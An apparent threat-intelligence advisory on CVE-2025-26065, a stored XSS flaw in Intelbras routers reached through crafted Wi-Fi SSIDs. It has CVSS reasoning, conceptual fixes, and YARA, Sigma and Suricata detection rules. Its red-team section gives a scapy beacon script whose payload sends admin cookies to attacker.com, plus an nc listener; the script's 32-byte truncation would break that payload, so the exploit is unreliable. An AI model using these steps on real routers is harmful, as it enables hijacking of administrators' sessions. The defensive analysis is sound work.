CVE-2025-26065

Executive Summary

CVE-2025-26065 is a stored Cross-Site Scripting (XSS) vulnerability affecting Intelbras RX1500 (firmware v2.2.9) and RX3000 (firmware v1.0.11) routers. An attacker can inject arbitrary web scripts or HTML by crafting a malicious Wi-Fi network name (SSID). When a victim router scans or displays the list of nearby networks, the injected payload executes in the administrative web interface context. This allows session hijacking, credential theft, or further device compromise. No official patch has been released as of this report. The vulnerability is publicly documented with proof-of-concept code available.

Supply Chain & Package Security

This vulnerability does not involve NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded networking hardware.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Adjacent Network (A) – attacker must be within Wi-Fi range.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed to broadcast a malicious SSID.
• User Interaction (UI): Required (R) – an admin must view the Wi-Fi scan page.
• Scope (S): Changed (C) – the injected script can access the router’s web interface.
• Confidentiality (C): High (H) – potential for credential theft.
• Integrity (I): High (H) – full control over web interface content.
• Availability (A): Low (L) – could disrupt admin functionality.

Estimated CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L
Estimated Score: 8.0 (High)

Deep Dive & Mechanics

The vulnerability resides in the router’s web-based management interface, specifically in the Wi-Fi scanning functionality. When an administrator triggers a scan for available wireless networks, the router queries the 2.4GHz and 5GHz bands and displays the results in a table. The SSID field is not sanitized before being rendered in the HTML DOM.

An attacker within range broadcasts a rogue access point with an SSID containing a malicious JavaScript payload, such as:

<script>alert('XSS')</script>

When the router’s admin interface processes the scan results, it inserts the SSID directly into the HTML without encoding or filtering. The browser then executes the injected script in the context of the router’s web application, bypassing same-origin policy restrictions.

The attack is stored in the sense that the malicious SSID remains in the scan results list until the router is rebooted or the scan is cleared. However, it is not persistently stored in the router’s configuration.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In the Wi-Fi scan handler (e.g., /cgi-bin/wireless_scan.cgi)
function displayScanResults(results) {
    var html = '<table>';
    for (var i = 0; i < results.length; i++) {
        html += '<tr><td>' + results[i].ssid + '</td></tr>'; // No sanitization
    }
    html += '</table>';
    document.getElementById('scan_results').innerHTML = html;
}

Patched Code (Conceptual):

// Sanitize SSID before rendering
function sanitizeSSID(ssid) {
    var div = document.createElement('div');
    div.appendChild(document.createTextNode(ssid));
    return div.innerHTML;
}

function displayScanResults(results) {
    var html = '<table>';
    for (var i = 0; i < results.length; i++) {
        html += '<tr><td>' + sanitizeSSID(results[i].ssid) + '</td></tr>';
    }
    html += '</table>';
    document.getElementById('scan_results').innerHTML = html;
}

The fix requires HTML entity encoding of the SSID string before insertion into the DOM. Since no official patch exists, users must apply manual mitigations.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A wireless adapter capable of monitor mode and packet injection (e.g., Alfa AWUS036ACH).
• Kali Linux or similar penetration testing distribution.
• Python3 with scapy library.

Step-by-Step Exploitation:

1. Set up the wireless adapter in monitor mode:

   sudo ip link set wlan0 down
   sudo iw dev wlan0 set type monitor
   sudo ip link set wlan0 up
   

2. Create a malicious SSID payload:

   # payload_ssid.py
   from scapy.all import *
   import binascii
   
   # XSS payload to steal admin cookies
   payload = "<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>"
   # SSID max length is 32 bytes; truncate if needed
   ssid = payload[:32]
   
   # Craft a beacon frame
   dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2="00:11:22:33:44:55", addr3="00:11:22:33:44:55")
   beacon = Dot11Beacon(cap="ESS+privacy")
   essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid))
   rates = Dot11Elt(ID="Rates", info=b'\x82\x84\x8b\x96\x0c\x12\x18\x24')
   dsset = Dot11Elt(ID="DSset", info=b'\x01')
   
   frame = RadioTap()/dot11/beacon/essid/rates/dsset
   
   # Send beacon repeatedly
   sendp(frame, iface="wlan0", inter=0.1, loop=1)
   

3. Run the script:

   sudo python3 payload_ssid.py
   

4. Set up a listener to capture exfiltrated cookies:

   nc -lvnp 80
   

5. Wait for an admin to scan Wi-Fi networks on the router’s web interface. The injected script will execute and send the admin’s session cookie to your listener.

Blue Team (Defensive)

Detection:

• Monitor for unusual SSID patterns containing HTML tags or JavaScript.
• Use WIDS/WIPS to alert on SSIDs with non-printable or suspicious characters.
• Enable web application firewall (WAF) rules on the router’s admin interface if possible.

Mitigation:

• Disable the Wi-Fi scan feature on the router if not required.
• Restrict admin access to trusted IP addresses only.
• Use a VPN to access the management interface.
• Apply input validation at the router’s CGI layer (requires firmware update).

Hunting:

• Review router logs for repeated scan requests from the same admin session.
• Check for outbound connections from the router to unknown IPs on port 80/443.

Indicators of Compromise (IOCs)

Network IOCs:

• SSID containing <script>, onerror=, onload=, or other HTML/JavaScript constructs.
• Outbound HTTP requests from the router to attacker-controlled IPs with cookie data in the URL.
• Unusual beacon frames with SSID length > 32 bytes (though truncated by standard).

Host IOCs (on the router):

• Modified web interface files (if attacker gains persistence).
• Unexpected processes running on the router (e.g., wget, curl).

Log IOCs:

• Repeated entries in /var/log/lighttpd/error.log related to CGI script execution.
• Admin login sessions from unexpected IPs after XSS execution.

Detection Engineering

YARA Rule

rule CVE_2025_26065_XSS_SSID {
    meta:
        description = "Detects malicious SSID payloads targeting Intelbras routers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26065"
    strings:
        $xss1 = "<script" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
        $xss5 = "alert(" ascii wide nocase
        $xss6 = "document.cookie" ascii wide nocase
    condition:
        any of ($xss*) and #xss* > 0
}

Sigma Rule

title: Intelbras Router XSS via Malicious SSID
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Intelbras router admin interface containing XSS payloads in SSID parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: lighttpd
detection:
    selection:
        c-uri|contains:
            - '/cgi-bin/wireless_scan.cgi'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate SSIDs containing similar patterns (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26065 Intelbras Router XSS via Malicious SSID"; flow:to_server,established; content:"/cgi-bin/wireless_scan.cgi"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Wi-Fi scanning on the router’s admin interface if not essential.
2. Restrict admin access to a dedicated management VLAN or trusted IPs.
3. Use HTTPS for all admin communications (if supported).
4. Monitor for rogue access points broadcasting suspicious SSIDs.

Long-Term Fix:

• Intelbras must release a firmware update that sanitizes SSID output in the web interface. Until then, users should consider replacing the device or applying a reverse proxy with input validation.

Workaround:

• If the router supports custom scripts, add a cron job to periodically clear the scan results list.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2025-26065